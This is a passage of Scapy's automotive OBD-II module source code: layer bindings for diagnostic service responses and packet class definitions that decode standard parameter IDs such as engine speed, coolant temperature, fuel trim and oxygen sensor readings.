bind_layers(OBD_S01_PR_Record, OBD_PID52, pid=0x52) bind_layers(OBD_S01_PR_Record, OBD_PID53, pid=0x53) bind_layers(OBD_S01_PR_Record, OBD_PID54, pid=0x54) bind_layers(OBD_S01_PR_Record, OBD_PID55, pid=0x55) bind_layers(OBD_S01_PR_Record, OBD_PID56, pid=0x56) bind_layers(OBD_S01_PR_Record, OBD_PID57, pid=0x57) bind_layers(OBD_S01_PR_Record, OBD_PID58, pid=0x58) bind_layers(OBD_S01_PR_Record, OBD_PID59, pid=0x59) bind_layers(OBD_S01_PR_Record, OBD_PID5A, pid=0x5A) bind_layers(OBD_S01_PR_Record, OBD_PID5B, pid=0x5B) bind_layers(OBD_S01_PR_Record, OBD_PID5C, pid=0x5C) bind_layers(OBD_S01_PR_Record, OBD_PID5D, pid=0x5D) bind_layers(OBD_S01_PR_Record, OBD_PID5E, pid=0x5E) bind_layers(OBD_S01_PR_Record, OBD_PID5F, pid=0x5F) bind_layers(OBD_S01_PR_Record, OBD_PID60, pid=0x60) bind_layers(OBD_S01_PR_Record, OBD_PID61, pid=0x61) bind_layers(OBD_S01_PR_Record, OBD_PID62, pid=0x62) bind_layers(OBD_S01_PR_Record, OBD_PID63, pid=0x63) bind_layers(OBD_S01_PR_Record, OBD_PID64, pid=0x64) bind_layers(OBD_S01_PR_Record, OBD_PID65, pid=0x65) bind_layers(OBD_S01_PR_Record, OBD_PID66, pid=0x66) bind_layers(OBD_S01_PR_Record, OBD_PID67, pid=0x67) bind_layers(OBD_S01_PR_Record, OBD_PID68, pid=0x68) bind_layers(OBD_S01_PR_Record, OBD_PID69, pid=0x69) bind_layers(OBD_S01_PR_Record, OBD_PID6A, pid=0x6A) bind_layers(OBD_S01_PR_Record, OBD_PID6B, pid=0x6B) bind_layers(OBD_S01_PR_Record, OBD_PID6C, pid=0x6C) bind_layers(OBD_S01_PR_Record, OBD_PID6D, pid=0x6D) bind_layers(OBD_S01_PR_Record, OBD_PID6E, pid=0x6E) bind_layers(OBD_S01_PR_Record, OBD_PID6F, pid=0x6F) bind_layers(OBD_S01_PR_Record, OBD_PID70, pid=0x70) bind_layers(OBD_S01_PR_Record, OBD_PID71, pid=0x71) bind_layers(OBD_S01_PR_Record, OBD_PID72, pid=0x72) bind_layers(OBD_S01_PR_Record, OBD_PID73, pid=0x73) bind_layers(OBD_S01_PR_Record, OBD_PID74, pid=0x74) bind_layers(OBD_S01_PR_Record, OBD_PID75, pid=0x75) bind_layers(OBD_S01_PR_Record, OBD_PID76, pid=0x76) bind_layers(OBD_S01_PR_Record, OBD_PID77, pid=0x77) bind_layers(OBD_S01_PR_Record, OBD_PID78, pid=0x78) bind_layers(OBD_S01_PR_Record, OBD_PID79, pid=0x79) bind_layers(OBD_S01_PR_Record, OBD_PID7A, pid=0x7A) bind_layers(OBD_S01_PR_Record, OBD_PID7B, pid=0x7B) bind_layers(OBD_S01_PR_Record, OBD_PID7C, pid=0x7C) bind_layers(OBD_S01_PR_Record, OBD_PID7D, pid=0x7D) bind_layers(OBD_S01_PR_Record, OBD_PID7E, pid=0x7E) bind_layers(OBD_S01_PR_Record, OBD_PID7F, pid=0x7F) bind_layers(OBD_S01_PR_Record, OBD_PID80, pid=0x80) bind_layers(OBD_S01_PR_Record, OBD_PID81, pid=0x81) bind_layers(OBD_S01_PR_Record, OBD_PID82, pid=0x82) bind_layers(OBD_S01_PR_Record, OBD_PID83, pid=0x83) bind_layers(OBD_S01_PR_Record, OBD_PID84, pid=0x84) bind_layers(OBD_S01_PR_Record, OBD_PID85, pid=0x85) bind_layers(OBD_S01_PR_Record, OBD_PID86, pid=0x86) bind_layers(OBD_S01_PR_Record, OBD_PID87, pid=0x87) bind_layers(OBD_S01_PR_Record, OBD_PID88, pid=0x88) bind_layers(OBD_S01_PR_Record, OBD_PID89, pid=0x89) bind_layers(OBD_S01_PR_Record, OBD_PID8A, pid=0x8A) bind_layers(OBD_S01_PR_Record, OBD_PID8B, pid=0x8B) bind_layers(OBD_S01_PR_Record, OBD_PID8C, pid=0x8C) bind_layers(OBD_S01_PR_Record, OBD_PID8D, pid=0x8D) bind_layers(OBD_S01_PR_Record, OBD_PID8E, pid=0x8E) bind_layers(OBD_S01_PR_Record, OBD_PID8F, pid=0x8F) bind_layers(OBD_S01_PR_Record, OBD_PID90, pid=0x90) bind_layers(OBD_S01_PR_Record, OBD_PID91, pid=0x91) bind_layers(OBD_S01_PR_Record, OBD_PID92, pid=0x92) bind_layers(OBD_S01_PR_Record, OBD_PID93, pid=0x93) bind_layers(OBD_S01_PR_Record, OBD_PID94, pid=0x94) bind_layers(OBD_S01_PR_Record, OBD_PID98, pid=0x98) bind_layers(OBD_S01_PR_Record, OBD_PID99, pid=0x99) bind_layers(OBD_S01_PR_Record, OBD_PID9A, pid=0x9A) bind_layers(OBD_S01_PR_Record, OBD_PID9B, pid=0x9B) bind_layers(OBD_S01_PR_Record, OBD_PID9C, pid=0x9C) bind_layers(OBD_S01_PR_Record, OBD_PID9D, pid=0x9D) bind_layers(OBD_S01_PR_Record, OBD_PID9E, pid=0x9E) bind_layers(OBD_S01_PR_Record, OBD_PID9F, pid=0x9F) bind_layers(OBD_S01_PR_Record, OBD_PIDA0, pid=0xA0) bind_layers(OBD_S01_PR_Record, OBD_PIDA1, pid=0xA1) bind_layers(OBD_S01_PR_Record, OBD_PIDA2, pid=0xA2) bind_layers(OBD_S01_PR_Record, OBD_PIDA3, pid=0xA3) bind_layers(OBD_S01_PR_Record, OBD_PIDA4, pid=0xA4) bind_layers(OBD_S01_PR_Record, OBD_PIDA5, pid=0xA5) bind_layers(OBD_S01_PR_Record, OBD_PIDA6, pid=0xA6) bind_layers(OBD_S01_PR_Record, OBD_PIDC0, pid=0xC0) # Service 2 bind_layers(OBD_S02_PR_Record, OBD_PID00, pid=0x00) bind_layers(OBD_S02_PR_Record, OBD_PID01, pid=0x01) bind_layers(OBD_S02_PR_Record, OBD_PID02, pid=0x02) bind_layers(OBD_S02_PR_Record, OBD_PID03, pid=0x03) bind_layers(OBD_S02_PR_Record, OBD_PID04, pid=0x04) bind_layers(OBD_S02_PR_Record, OBD_PID05, pid=0x05) bind_layers(OBD_S02_PR_Record, OBD_PID06, pid=0x06) bind_layers(OBD_S02_PR_Record, OBD_PID07, pid=0x07) bind_layers(OBD_S02_PR_Record, OBD_PID08, pid=0x08) bind_layers(OBD_S02_PR_Record, OBD_PID09, pid=0x09) bind_layers(OBD_S02_PR_Record, OBD_PID0A, pid=0x0A) bind_layers(OBD_S02_PR_Record, OBD_PID0B, pid=0x0B) bind_layers(OBD_S02_PR_Record, OBD_PID0C, pid=0x0C) bind_layers(OBD_S02_PR_Record, OBD_PID0D, pid=0x0D) bind_layers(OBD_S02_PR_Record, OBD_PID0E, pid=0x0E) bind_layers(OBD_S02_PR_Record, OBD_PID0F, pid=0x0F) bind_layers(OBD_S02_PR_Record, OBD_PID10, pid=0x10) bind_layers(OBD_S02_PR_Record, OBD_PID11, pid=0x11) bind_layers(OBD_S02_PR_Record, OBD_PID12, pid=0x12) bind_layers(OBD_S02_PR_Record, OBD_PID13, pid=0x13) bind_layers(OBD_S02_PR_Record, OBD_PID14, pid=0x14) bind_layers(OBD_S02_PR_Record, OBD_PID15, pid=0x15) bind_layers(OBD_S02_PR_Record, OBD_PID16, pid=0x16) bind_layers(OBD_S02_PR_Record, OBD_PID17, pid=0x17) bind_layers(OBD_S02_PR_Record, OBD_PID18, pid=0x18) bind_layers(OBD_S02_PR_Record, OBD_PID19, pid=0x19) bind_layers(OBD_S02_PR_Record, OBD_PID1A, pid=0x1A) bind_layers(OBD_S02_PR_Record, OBD_PID1B, pid=0x1B) bind_layers(OBD_S02_PR_Record, OBD_PID1C, pid=0x1C) bind_layers(OBD_S02_PR_Record, OBD_PID1D, pid=0x1D) bind_layers(OBD_S02_PR_Record, OBD_PID1E, pid=0x1E) bind_layers(OBD_S02_PR_Record, OBD_PID1F, pid=0x1F) bind_layers(OBD_S02_PR_Record, OBD_PID20, pid=0x20) bind_layers(OBD_S02_PR_Record, OBD_PID21, pid=0x21) bind_layers(OBD_S02_PR_Record, OBD_PID22, pid=0x22) bind_layers(OBD_S02_PR_Record, OBD_PID23, pid=0x23) bind_layers(OBD_S02_PR_Record, OBD_PID24, pid=0x24) bind_layers(OBD_S02_PR_Record, OBD_PID25, pid=0x25) bind_layers(OBD_S02_PR_Record, OBD_PID26, pid=0x26) bind_layers(OBD_S02_PR_Record, OBD_PID27, pid=0x27) bind_layers(OBD_S02_PR_Record, OBD_PID28, pid=0x28) bind_layers(OBD_S02_PR_Record, OBD_PID29, pid=0x29) bind_layers(OBD_S02_PR_Record, OBD_PID2A, pid=0x2A) bind_layers(OBD_S02_PR_Record, OBD_PID2B, pid=0x2B) bind_layers(OBD_S02_PR_Record, OBD_PID2C, pid=0x2C) bind_layers(OBD_S02_PR_Record, OBD_PID2D, pid=0x2D) bind_layers(OBD_S02_PR_Record, OBD_PID2E, pid=0x2E) bind_layers(OBD_S02_PR_Record, OBD_PID2F, pid=0x2F) bind_layers(OBD_S02_PR_Record, OBD_PID30, pid=0x30) bind_layers(OBD_S02_PR_Record, OBD_PID31, pid=0x31) bind_layers(OBD_S02_PR_Record, OBD_PID32, pid=0x32) bind_layers(OBD_S02_PR_Record, OBD_PID33, pid=0x33) bind_layers(OBD_S02_PR_Record, OBD_PID34, pid=0x34) bind_layers(OBD_S02_PR_Record, OBD_PID35, pid=0x35) bind_layers(OBD_S02_PR_Record, OBD_PID36, pid=0x36) bind_layers(OBD_S02_PR_Record, OBD_PID37, pid=0x37) bind_layers(OBD_S02_PR_Record, OBD_PID38, pid=0x38) bind_layers(OBD_S02_PR_Record, OBD_PID39, pid=0x39) bind_layers(OBD_S02_PR_Record, OBD_PID3A, pid=0x3A) bind_layers(OBD_S02_PR_Record, OBD_PID3B, pid=0x3B) bind_layers(OBD_S02_PR_Record, OBD_PID3C, pid=0x3C) bind_layers(OBD_S02_PR_Record, OBD_PID3D, pid=0x3D) bind_layers(OBD_S02_PR_Record, OBD_PID3E, pid=0x3E) bind_layers(OBD_S02_PR_Record, OBD_PID3F, pid=0x3F) bind_layers(OBD_S02_PR_Record, OBD_PID40, pid=0x40) bind_layers(OBD_S02_PR_Record, OBD_PID41, pid=0x41) bind_layers(OBD_S02_PR_Record, OBD_PID42, pid=0x42) bind_layers(OBD_S02_PR_Record, OBD_PID43, pid=0x43) bind_layers(OBD_S02_PR_Record, OBD_PID44, pid=0x44) bind_layers(OBD_S02_PR_Record, OBD_PID45, pid=0x45) bind_layers(OBD_S02_PR_Record, OBD_PID46, pid=0x46) bind_layers(OBD_S02_PR_Record, OBD_PID47, pid=0x47) bind_layers(OBD_S02_PR_Record, OBD_PID48, pid=0x48) bind_layers(OBD_S02_PR_Record, OBD_PID49, pid=0x49) bind_layers(OBD_S02_PR_Record, OBD_PID4A, pid=0x4A) bind_layers(OBD_S02_PR_Record, OBD_PID4B, pid=0x4B) bind_layers(OBD_S02_PR_Record, OBD_PID4C, pid=0x4C) bind_layers(OBD_S02_PR_Record, OBD_PID4D, pid=0x4D) bind_layers(OBD_S02_PR_Record, OBD_PID4E, pid=0x4E) bind_layers(OBD_S02_PR_Record, OBD_PID4F, pid=0x4F) bind_layers(OBD_S02_PR_Record, OBD_PID50, pid=0x50) bind_layers(OBD_S02_PR_Record, OBD_PID51, pid=0x51) bind_layers(OBD_S02_PR_Record, OBD_PID52, pid=0x52) bind_layers(OBD_S02_PR_Record, OBD_PID53, pid=0x53) bind_layers(OBD_S02_PR_Record, OBD_PID54, pid=0x54) bind_layers(OBD_S02_PR_Record, OBD_PID55, pid=0x55) bind_layers(OBD_S02_PR_Record, OBD_PID56, pid=0x56) bind_layers(OBD_S02_PR_Record, OBD_PID57, pid=0x57) bind_layers(OBD_S02_PR_Record, OBD_PID58, pid=0x58) bind_layers(OBD_S02_PR_Record, OBD_PID59, pid=0x59) bind_layers(OBD_S02_PR_Record, OBD_PID5A, pid=0x5A) bind_layers(OBD_S02_PR_Record, OBD_PID5B, pid=0x5B) bind_layers(OBD_S02_PR_Record, OBD_PID5C, pid=0x5C) bind_layers(OBD_S02_PR_Record, OBD_PID5D, pid=0x5D) bind_layers(OBD_S02_PR_Record, OBD_PID5E, pid=0x5E) bind_layers(OBD_S02_PR_Record, OBD_PID5F, pid=0x5F) bind_layers(OBD_S02_PR_Record, OBD_PID60, pid=0x60) bind_layers(OBD_S02_PR_Record, OBD_PID61, pid=0x61) bind_layers(OBD_S02_PR_Record, OBD_PID62, pid=0x62) bind_layers(OBD_S02_PR_Record, OBD_PID63, pid=0x63) bind_layers(OBD_S02_PR_Record, OBD_PID64, pid=0x64) bind_layers(OBD_S02_PR_Record, OBD_PID65, pid=0x65) bind_layers(OBD_S02_PR_Record, OBD_PID66, pid=0x66) bind_layers(OBD_S02_PR_Record, OBD_PID67, pid=0x67) bind_layers(OBD_S02_PR_Record, OBD_PID68, pid=0x68) bind_layers(OBD_S02_PR_Record, OBD_PID69, pid=0x69) bind_layers(OBD_S02_PR_Record, OBD_PID6A, pid=0x6A) bind_layers(OBD_S02_PR_Record, OBD_PID6B, pid=0x6B) bind_layers(OBD_S02_PR_Record, OBD_PID6C, pid=0x6C) bind_layers(OBD_S02_PR_Record, OBD_PID6D, pid=0x6D) bind_layers(OBD_S02_PR_Record, OBD_PID6E, pid=0x6E) bind_layers(OBD_S02_PR_Record, OBD_PID6F, pid=0x6F) bind_layers(OBD_S02_PR_Record, OBD_PID70, pid=0x70) bind_layers(OBD_S02_PR_Record, OBD_PID71, pid=0x71) bind_layers(OBD_S02_PR_Record, OBD_PID72, pid=0x72) bind_layers(OBD_S02_PR_Record, OBD_PID73, pid=0x73) bind_layers(OBD_S02_PR_Record, OBD_PID74, pid=0x74) bind_layers(OBD_S02_PR_Record, OBD_PID75, pid=0x75) bind_layers(OBD_S02_PR_Record, OBD_PID76, pid=0x76) bind_layers(OBD_S02_PR_Record, OBD_PID77, pid=0x77) bind_layers(OBD_S02_PR_Record, OBD_PID78, pid=0x78) bind_layers(OBD_S02_PR_Record, OBD_PID79, pid=0x79) bind_layers(OBD_S02_PR_Record, OBD_PID7A, pid=0x7A) bind_layers(OBD_S02_PR_Record, OBD_PID7B, pid=0x7B) bind_layers(OBD_S02_PR_Record, OBD_PID7C, pid=0x7C) bind_layers(OBD_S02_PR_Record, OBD_PID7D, pid=0x7D) bind_layers(OBD_S02_PR_Record, OBD_PID7E, pid=0x7E) bind_layers(OBD_S02_PR_Record, OBD_PID7F, pid=0x7F) bind_layers(OBD_S02_PR_Record, OBD_PID80, pid=0x80) bind_layers(OBD_S02_PR_Record, OBD_PID81, pid=0x81) bind_layers(OBD_S02_PR_Record, OBD_PID82, pid=0x82) bind_layers(OBD_S02_PR_Record, OBD_PID83, pid=0x83) bind_layers(OBD_S02_PR_Record, OBD_PID84, pid=0x84) bind_layers(OBD_S02_PR_Record, OBD_PID85, pid=0x85) bind_layers(OBD_S02_PR_Record, OBD_PID86, pid=0x86) bind_layers(OBD_S02_PR_Record, OBD_PID87, pid=0x87) bind_layers(OBD_S02_PR_Record, OBD_PID88, pid=0x88) bind_layers(OBD_S02_PR_Record, OBD_PID89, pid=0x89) bind_layers(OBD_S02_PR_Record, OBD_PID8A, pid=0x8A) bind_layers(OBD_S02_PR_Record, OBD_PID8B, pid=0x8B) bind_layers(OBD_S02_PR_Record, OBD_PID8C, pid=0x8C) bind_layers(OBD_S02_PR_Record, OBD_PID8D, pid=0x8D) bind_layers(OBD_S02_PR_Record, OBD_PID8E, pid=0x8E) bind_layers(OBD_S02_PR_Record, OBD_PID8F, pid=0x8F) bind_layers(OBD_S02_PR_Record, OBD_PID90, pid=0x90) bind_layers(OBD_S02_PR_Record, OBD_PID91, pid=0x91) bind_layers(OBD_S02_PR_Record, OBD_PID92, pid=0x92) bind_layers(OBD_S02_PR_Record, OBD_PID93, pid=0x93) bind_layers(OBD_S02_PR_Record, OBD_PID94, pid=0x94) bind_layers(OBD_S02_PR_Record, OBD_PID98, pid=0x98) bind_layers(OBD_S02_PR_Record, OBD_PID99, pid=0x99) bind_layers(OBD_S02_PR_Record, OBD_PID9A, pid=0x9A) bind_layers(OBD_S02_PR_Record, OBD_PID9B, pid=0x9B) bind_layers(OBD_S02_PR_Record, OBD_PID9C, pid=0x9C) bind_layers(OBD_S02_PR_Record, OBD_PID9D, pid=0x9D) bind_layers(OBD_S02_PR_Record, OBD_PID9E, pid=0x9E) bind_layers(OBD_S02_PR_Record, OBD_PID9F, pid=0x9F) bind_layers(OBD_S02_PR_Record, OBD_PIDA0, pid=0xA0) bind_layers(OBD_S02_PR_Record, OBD_PIDA1, pid=0xA1) bind_layers(OBD_S02_PR_Record, OBD_PIDA2, pid=0xA2) bind_layers(OBD_S02_PR_Record, OBD_PIDA3, pid=0xA3) bind_layers(OBD_S02_PR_Record, OBD_PIDA4, pid=0xA4) bind_layers(OBD_S02_PR_Record, OBD_PIDA5, pid=0xA5) bind_layers(OBD_S02_PR_Record, OBD_PIDA6, pid=0xA6) bind_layers(OBD_S02_PR_Record, OBD_PIDC0, pid=0xC0) ================================================ FILE: scapy/contrib/automotive/obd/pid/pids_00_1F.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import BitEnumField, BitField, ScalingField, \ FlagsField, XByteEnumField, PacketField from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.contrib.automotive.obd.services import OBD_DTC # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID00(OBD_Packet): name = "PID_00_PIDsSupported" fields_desc = [ FlagsField('supported_pids', b'', 32, [ 'PID20', 'PID1F', 'PID1E', 'PID1D', 'PID1C', 'PID1B', 'PID1A', 'PID19', 'PID18', 'PID17', 'PID16', 'PID15', 'PID14', 'PID13', 'PID12', 'PID11', 'PID10', 'PID0F', 'PID0E', 'PID0D', 'PID0C', 'PID0B', 'PID0A', 'PID09', 'PID08', 'PID07', 'PID06', 'PID05', 'PID04', 'PID03', 'PID02', 'PID01' ]) ] class OBD_PID01(OBD_Packet): name = "PID_01_MonitorStatusSinceDtcsCleared" onOff = { 0: 'off', 1: 'on' } fields_desc = [ BitEnumField('mil', 0, 1, onOff), BitField('dtc_count', 0, 7), BitField('reserved1', 0, 1), FlagsField('continuous_tests_ready', 0, 3, [ 'misfire', 'fuelSystem', 'components' ]), BitField('reserved2', 0, 1), FlagsField('continuous_tests_supported', 0, 3, [ 'misfire', 'fuel_system', 'components' ]), FlagsField('once_per_trip_tests_supported', 0, 8, [ 'egr', 'oxygenSensorHeater', 'oxygenSensor', 'acSystemRefrigerant', 'secondaryAirSystem', 'evaporativeSystem', 'heatedCatalyst', 'catalyst' ]), FlagsField('once_per_trip_tests_ready', 0, 8, [ 'egr', 'oxygenSensorHeater', 'oxygenSensor', 'acSystemRefrigerant', 'secondaryAirSystem', 'evaporativeSystem', 'heatedCatalyst', 'catalyst' ]) ] class OBD_PID02(OBD_Packet): name = "PID_02_FreezeDtc" fields_desc = [ PacketField('dtc', b'', OBD_DTC) ] class OBD_PID03(OBD_Packet): name = "PID_03_FuelSystemStatus" loopStates = { 0x00: 'OpenLoopInsufficientEngineTemperature', 0x02: 'ClosedLoop', 0x04: 'OpenLoopEngineLoadOrFuelCut', 0x08: 'OpenLoopDueSystemFailure', 0x10: 'ClosedLoopWithFault' } fields_desc = [ XByteEnumField('fuel_system1', 0, loopStates), XByteEnumField('fuel_system2', 0, loopStates) ] class OBD_PID04(OBD_Packet): name = "PID_04_CalculatedEngineLoad" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID05(OBD_Packet): name = "PID_05_EngineCoolantTemperature" fields_desc = [ ScalingField('data', 0, unit="deg. C", offset=-40.0) ] class OBD_PID06(OBD_Packet): name = "PID_06_ShortTermFuelTrimBank1" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID07(OBD_Packet): name = "PID_07_LongTermFuelTrimBank1" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID08(OBD_Packet): name = "PID_08_ShortTermFuelTrimBank2" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID09(OBD_Packet): name = "PID_09_LongTermFuelTrimBank2" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID0A(OBD_Packet): name = "PID_0A_FuelPressure" fields_desc = [ ScalingField('data', 0, scaling=3, unit="kPa") ] class OBD_PID0B(OBD_Packet): name = "PID_0B_IntakeManifoldAbsolutePressure" fields_desc = [ ScalingField('data', 0, unit="kPa") ] class OBD_PID0C(OBD_Packet): name = "PID_0C_EngineRpm" fields_desc = [ ScalingField('data', 0, scaling=1 / 4., unit="min-1", fmt="H") ] class OBD_PID0D(OBD_Packet): name = "PID_0D_VehicleSpeed" fields_desc = [ ScalingField('data', 0, unit="km/h") ] class OBD_PID0E(OBD_Packet): name = "PID_0E_TimingAdvance" fields_desc = [ ScalingField('data', 0, scaling=1 / 2., unit="deg.", offset=-64.0) ] class OBD_PID0F(OBD_Packet): name = "PID_0F_IntakeAirTemperature" fields_desc = [ ScalingField('data', 0, unit="deg. C", offset=-40.0) ] class OBD_PID10(OBD_Packet): name = "PID_10_MafAirFlowRate" fields_desc = [ ScalingField('data', 0, scaling=1 / 100., unit="g/s") ] class OBD_PID11(OBD_Packet): name = "PID_11_ThrottlePosition" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID12(OBD_Packet): name = "PID_12_CommandedSecondaryAirStatus" states = { 0x00: 'upstream', 0x02: 'downstreamCatalyticConverter', 0x04: 'outsideAtmosphereOrOff', 0x08: 'pumpCommanded' } fields_desc = [ XByteEnumField('data', 0, states) ] class OBD_PID13(OBD_Packet): name = "PID_13_OxygenSensorsPresent" fields_desc = [ FlagsField('sensors_present', b'', 8, [ 'Bank1Sensor1', 'Bank1Sensor2', 'Bank1Sensor3', 'Bank1Sensor4', 'Bank2Sensor1', 'Bank2Sensor2', 'Bank2Sensor3', 'Bank2Sensor4' ]) ] class _OBD_PID14_1B(OBD_Packet): fields_desc = [ ScalingField('outputVoltage', 0, scaling=0.005, unit="V"), ScalingField('trim', 0, scaling=100 / 128., unit="%", offset=-100) ] class OBD_PID14(_OBD_PID14_1B): name = "PID_14_OxygenSensor1" class OBD_PID15(_OBD_PID14_1B): name = "PID_15_OxygenSensor2" class OBD_PID16(_OBD_PID14_1B): name = "PID_16_OxygenSensor3" class OBD_PID17(_OBD_PID14_1B): name = "PID_17_OxygenSensor4" class OBD_PID18(_OBD_PID14_1B): name = "PID_18_OxygenSensor5" class OBD_PID19(_OBD_PID14_1B): name = "PID_19_OxygenSensor6" class OBD_PID1A(_OBD_PID14_1B): name = "PID_1A_OxygenSensor7" class OBD_PID1B(_OBD_PID14_1B): name = "PID_1B_OxygenSensor8" class OBD_PID1C(OBD_Packet): name = "PID_1C_ObdStandardsThisVehicleConformsTo" obdStandards = { 0x01: 'OBD-II as defined by the CARB', 0x02: 'OBD as defined by the EPA', 0x03: 'OBD and OBD-II', 0x04: 'OBD-I', 0x05: 'Not OBD compliant', 0x06: 'EOBD (Europe)', 0x07: 'EOBD and OBD-II', 0x08: 'EOBD and OBD', 0x09: 'EOBD, OBD and OBD II', 0x0A: 'JOBD (Japan)', 0x0B: 'JOBD and OBD II', 0x0C: 'JOBD and EOBD', 0x0D: 'JOBD, EOBD, and OBD II', 0x0E: 'Reserved', 0x0F: 'Reserved', 0x10: 'Reserved', 0x11: 'Engine Manufacturer Diagnostics (EMD)', 0x12: 'Engine Manufacturer Diagnostics Enhanced (EMD+)', 0x13: 'Heavy Duty On-Board Diagnostics (Child/Partial) (HD OBD-C)', 0x14: 'Heavy Duty On-Board Diagnostics (HD OBD)', 0x15: 'World Wide Harmonized OBD (WWH OBD)', 0x16: 'Reserved', 0x17: 'Heavy Duty Euro OBD Stage I without NOx control (HD EOBD-I)', 0x18: 'Heavy Duty Euro OBD Stage I with NOx control (HD EOBD-I N)', 0x19: 'Heavy Duty Euro OBD Stage II without NOx control (HD EOBD-II)', 0x1A: 'Heavy Duty Euro OBD Stage II with NOx control (HD EOBD-II N)', 0x1B: 'Reserved', 0x1C: 'Brazil OBD Phase 1 (OBDBr-1)', 0x1D: 'Brazil OBD Phase 2 (OBDBr-2)', 0x1E: 'Korean OBD (KOBD)', 0x1F: 'India OBD I (IOBD I)', 0x20: 'India OBD II (IOBD II)', 0x21: 'Heavy Duty Euro OBD Stage VI (HD EOBD-IV)', } fields_desc = [ XByteEnumField('data', 0, obdStandards) ] class OBD_PID1D(OBD_Packet): name = "PID_1D_OxygenSensorsPresent" fields_desc = [ FlagsField('sensors_present', 0, 8, [ 'Bank1Sensor1', 'Bank1Sensor2', 'Bank2Sensor1', 'Bank2Sensor2', 'Bank3Sensor1', 'Bank3Sensor2', 'Bank4Sensor1', 'Bank4Sensor2' ]) ] class OBD_PID1E(OBD_Packet): name = "PID_1E_AuxiliaryInputStatus" fields_desc = [ BitField('reserved', 0, 7), BitEnumField('pto_status', 0, 1, OBD_PID01.onOff) ] class OBD_PID1F(OBD_Packet): name = "PID_1F_RunTimeSinceEngineStart" fields_desc = [ ScalingField('data', 0, unit="s", fmt="H") ] ================================================ FILE: scapy/contrib/automotive/obd/pid/pids_20_3F.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # scapy.contrib.status = skip from scapy.fields import FlagsField, ScalingField from scapy.contrib.automotive.obd.packet import OBD_Packet # See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information # PID = Parameter IDentification class OBD_PID20(OBD_Packet): name = "PID_20_PIDsSupported" fields_desc = [ FlagsField('supported_pids', 0, 32, [ 'PID40', 'PID3F', 'PID3E', 'PID3D', 'PID3C', 'PID3B', 'PID3A', 'PID39', 'PID38', 'PID37', 'PID36', 'PID35', 'PID34', 'PID33', 'PID32', 'PID31', 'PID30', 'PID2F', 'PID2E', 'PID2D', 'PID2C', 'PID2B', 'PID2A', 'PID29', 'PID28', 'PID27', 'PID26', 'PID25', 'PID24', 'PID23', 'PID22', 'PID21' ]) ] class OBD_PID21(OBD_Packet): name = "PID_21_DistanceTraveledWithMalfunctionIndicatorLampOn" fields_desc = [ ScalingField('data', 0, unit="km", fmt="H") ] class OBD_PID22(OBD_Packet): name = "PID_22_FuelRailPressure" fields_desc = [ ScalingField('data', 0, scaling=0.079, unit="kPa", fmt="H") ] class OBD_PID23(OBD_Packet): name = "PID_23_FuelRailGaugePressure" fields_desc = [ ScalingField('data', 0, scaling=10, unit="kPa", fmt="H") ] class _OBD_PID24_2B(OBD_Packet): fields_desc = [ ScalingField('equivalence_ratio', 0, scaling=0.0000305, fmt="H"), ScalingField('voltage', 0, scaling=0.000122, unit="V", fmt="H") ] class OBD_PID24(_OBD_PID24_2B): name = "PID_24_OxygenSensor1" class OBD_PID25(_OBD_PID24_2B): name = "PID_25_OxygenSensor2" class OBD_PID26(_OBD_PID24_2B): name = "PID_26_OxygenSensor3" class OBD_PID27(_OBD_PID24_2B): name = "PID_27_OxygenSensor4" class OBD_PID28(_OBD_PID24_2B): name = "PID_28_OxygenSensor5" class OBD_PID29(_OBD_PID24_2B): name = "PID_29_OxygenSensor6" class OBD_PID2A(_OBD_PID24_2B): name = "PID_2A_OxygenSensor7" class OBD_PID2B(_OBD_PID24_2B): name = "PID_2B_OxygenSensor8" class OBD_PID2C(OBD_Packet): name = "PID_2C_CommandedEgr" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID2D(OBD_Packet): name = "PID_2D_EgrError" fields_desc = [ ScalingField('data', 0, scaling=100 / 128., unit="%", offset=-100.0) ] class OBD_PID2E(OBD_Packet): name = "PID_2E_CommandedEvaporativePurge" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID2F(OBD_Packet): name = "PID_2F_FuelTankLevelInput" fields_desc = [ ScalingField('data', 0, scaling=100 / 255., unit="%") ] class OBD_PID30(OBD_Packet): name = "PID_30_WarmUpsSinceCodesCleared" fields_desc = [ ScalingField('data', 0) ] class OBD_PID31(OBD_Packet): name = "PID_31_DistanceTraveledSinceCodesCleared" fields_desc = [ ScalingField('data', 0, unit="km", fmt="H") ] class OBD_PID32(OBD_Packet): name = "PID_32_EvapSystemVaporPressure" fields_desc = [ ScalingField('data', 0, scaling=0.25, unit="Pa", fmt="h") ] class OBD_PID33(OBD_Packet): name = "PID_33_AbsoluteBarometricPressure" fields_desc = [ ScalingField('data', 0, unit="kPa") ] class _OBD_PID34_3B(OBD_Packet): fields_desc = [ ScalingField('equivalence_ratio', 0, scaling=0.0000305, fmt="H"), ScalingField('current', 0, scaling=0.00390625, unit="mA", fmt="H") ] class OBD_PID34(_OBD_PID34_3B): name = "PID_34_OxygenSensor1" class OBD_PID35(_OBD_PID34_3B): name = "PID_35_OxygenSensor2" class OBD_PID36(_OBD_PID34_3B): name = "PID_36_OxygenSensor3" class OBD_PID37(_OBD_PID34_3B): name = "PID_37_OxygenSensor4" class OBD_PID38(_OBD_PID34_3B): name = "PID_38_OxygenSensor5" class OBD_PID39(_OBD_PID34_3B): name = "PID_39_OxygenSensor6" class OBD_PID3A(_OBD_PID34_3B): name = "PID_3A_OxygenSensor7" class 